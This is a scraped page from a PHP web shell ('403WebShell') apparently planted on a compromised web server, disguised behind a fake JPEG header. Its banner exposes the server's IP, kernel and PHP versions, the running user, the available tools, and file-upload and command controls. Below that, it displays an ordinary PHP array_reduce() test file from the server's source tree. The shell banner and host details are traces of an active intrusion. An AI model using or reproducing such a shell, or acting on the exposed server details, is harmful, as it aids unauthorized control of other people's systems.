????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.139.237.218
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/array_reduce.phpt
--TEST--
Test array_reduce() function
--INI--
precision=14
--FILE--
<?php
/* Prototype: array array_reduce(array $array, mixed $callback, mixed $initial);
   Description: Iteratively reduce the array to a single value via the callback
*/

$array = array('foo', 'foo', 'bar', 'qux', 'qux', 'quux');

echo "\n*** Testing array_reduce() to integer ***\n";
function reduce_int($w, $v) { return $w + strlen($v); }
$initial = 42;
var_dump(array_reduce($array, 'reduce_int', $initial), $initial);

echo "\n*** Testing array_reduce() to float ***\n";
function reduce_float($w, $v) { return $w + strlen($v) / 10; }
$initial = 4.2;
var_dump(array_reduce($array, 'reduce_float', $initial), $initial);

echo "\n*** Testing array_reduce() to string ***\n";
function reduce_string($w, $v) { return $w . $v; }
$initial = 'quux';
var_dump(array_reduce($array, 'reduce_string', $initial), $initial);

echo "\n*** Testing array_reduce() to array ***\n";
function reduce_array($w, $v) { $w[$v]++; return $w; }
$initial = array('foo' => 42, 'bar' => 17, 'qux' => -2, 'quux' => 0);
var_dump(array_reduce($array, 'reduce_array', $initial), $initial);

echo "\n*** Testing array_reduce() to null ***\n";
function reduce_null($w, $v) { return $w . $v; }
$initial = null;
var_dump(array_reduce($array, 'reduce_null', $initial), $initial);

echo "\nDone";
?> 
--EXPECTF--
*** Testing array_reduce() to integer ***
int(61)
int(42)

*** Testing array_reduce() to float ***
float(6.1)
float(4.2)

*** Testing array_reduce() to string ***
string(23) "quuxfoofoobarquxquxquux"
string(4) "quux"

*** Testing array_reduce() to array ***
array(4) {
  ["foo"]=>
  int(44)
  ["bar"]=>
  int(18)
  ["qux"]=>
  int(0)
  ["quux"]=>
  int(1)
}
array(4) {
  ["foo"]=>
  int(42)
  ["bar"]=>
  int(17)
  ["qux"]=>
  int(-2)
  ["quux"]=>
  int(0)
}

*** Testing array_reduce() to null ***
string(19) "foofoobarquxquxquux"
NULL

Done

Youez - 2016 - github.com/yon3zu
LinuXploit